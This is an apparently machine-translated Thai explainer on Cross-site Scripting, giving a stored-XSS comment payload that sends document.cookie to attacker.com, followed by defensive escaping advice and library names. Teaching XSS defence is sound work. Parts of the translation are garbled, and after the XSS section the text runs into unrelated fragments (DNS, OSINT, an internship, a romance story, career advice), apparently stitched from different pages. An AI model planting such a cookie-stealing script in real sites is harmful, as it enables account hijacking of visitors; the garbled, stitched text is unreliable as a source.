Cross-site Scripting (XSS) คือการโจมตีเว็บไซต์ประเภทหนึ่งที่ผู้โจมตีสามารถทำให้เว็บไซต์ที่ถูกโจมตีส่ง JavaScript ไปยังผู้ใช้ จากนั้น JavaScript ที่เป็นอันตรายนี้จะถูกเรียกใช้งานบนเครื่องของผู้ใช้
XSS ประเภทต่างๆมีความโดดเด่น:
ข้อมูลที่ผู้ใช้จัดหาให้สามารถมีการโจมตี XSS ได้ อาจเป็นส่วนความคิดเห็น, โฆษณา, document.referrer, ส่วนย่อยของ URL, ...
มีหลายวิธีที่ผู้โจมตีสามารถทำอันตรายได้: พวกเขาสามารถทำให้เว็บไซต์ใช้งานไม่ได้หากมีสคริปต์ XSS อยู่ พวกเขาสามารถเรียกใช้คนงานเหมือง cryptocurrency พวกเขาสามารถขโมยข้อมูลที่สำคัญ
ตามที่สัญญาเป็นไปตามวิธีการออกแบบมือกาวคุกกี้สำหรับหักหลังบัญชี
เราแค่สมมติว่าเรามีเว็บไซต์เช่น Facebook ที่คุณสามารถเพิ่มความคิดเห็นในโพสต์ได้ เราถือว่าความคิดเห็นนั้นถูกนำไปใช้และคัดลอกไปยังทุกคนที่เปิดหน้านี้ ความคิดเห็นที่เราทำคือ
<script>
image = new Image();
image.src='https://attacker.com/steal?cookie='+document.cookie;
</script>
อย่าเชื่อข้อมูลผู้ใช้แบบสุ่มสี่สุ่มห้า ถอดชิ้นส่วนที่อาจเป็นอันตรายออกหนีชิ้นส่วนที่จะเปลี่ยนผลลัพธ์ที่คาดไว้ คุณอาจต้องการที่จะลบและ<script>แท็กหรือแทนที่โดย< <ยังไม่เพียงพอ นอกจากนี้คุณยังสามารถรัน JavaScript กับแอตทริบิวต์ onload แอตทริบิวต์นั้นสามารถเพิ่มลงในแท็ก HTML จำนวนมากหรือแม้แต่ทั้งหมด
ภาษาต่างๆมีวิธีการหลีกเลี่ยงสิ่งเหล่านี้:
EscapeStringorg.apache.commons.lang.StringEscapeUtils.escapeHtmlDOMPurifyhtml.escapehtmlspecialcharshtmlescapehtmlescape::encode_miniamlอย่าลืมทำความสะอาดอินพุตของผู้ใช้ทั้งหมดไม่ใช่เฉพาะสิ่งที่อยู่ในช่องอินพุตเท่านั้น อย่าลืมเกี่ยวกับส่วนย่อยของ URLและDocument.referrer.
ฉันรักTom ScottและComputerphileและพวกเขาทำวิดีโอเกี่ยวกับหัวข้อนี้!
ในชุดนี้เกี่ยวกับการรักษาความปลอดภัยของแอปพลิเคชัน (AppSec) เราได้อธิบายเทคนิคบางอย่างของผู้โจมตี😈และเทคนิคของผู้ป้องกันแล้ว
เมื่อคุณส่งคำขอไปที่ facebook.com คอมพิวเตอร์ของคุณจะค้นหาชื่อโดเมนเพื่อแปลชื่อโดเมนนั้นเป็นที่อยู่ IP เพื่อให้คอมพิวเตอร์ของคุณสามารถเชื่อมต่อได้
สวัสดีชาวไซเบอร์! ยินดีต้อนรับกลับสู่ OSINT สำหรับซีรี่ส์การล่าภัยคุกคาม ในบทความแรก ฉันได้ให้ภาพรวมของ OSINT และความสำคัญในการตามล่าภัยคุกคาม
“หวัดดี Siri เล่น Me Dive โดย Olivia Dean” ในเดือนพฤษภาคม 2021 ฉันเริ่มฝึกงานที่ Future Academy Africa ในเมือง Akure ประเทศไนจีเรีย
หลังเที่ยงคืน Hayden ขับรถพา Katie กลับไปที่หอพักของวิทยาลัยหลังจากพวกเขาอยู่ด้วยกันในตอนเย็น เธอมีเรียนแต่เช้าและไม่มีเสื้อผ้าเปลี่ยนอีกหลังจากค้างกับเขาเมื่อคืนก่อน
ในโลกที่เปลี่ยนแปลงอย่างรวดเร็วและการแข่งขันในปัจจุบัน อาชีพของคนๆ หนึ่งมีบทบาทสำคัญในการเติบโตส่วนบุคคล ความมั่นคงทางการเงิน และความพึงพอใจในชีวิตโดยรวม อย่างไรก็ตาม ผู้คนจำนวนมากพบว่าตัวเองติดอยู่ในวงจรของความเมื่อยล้าและความไม่พอใจอย่างไม่หยุดยั้ง ค่อยๆ สูญเสียชีวิตการทำงานไป
หากเราต้องการจะเติบโตบนโลกใบนี้ต่อไป เราจะต้องสนทนาที่อันตราย คนที่ท้าทายสิ่งที่เราทำ สิ่งที่เรากำลังทำ และสิ่งที่เรากำลังจะทำต่อไป (หรือกำลังวางแผนที่จะทำ)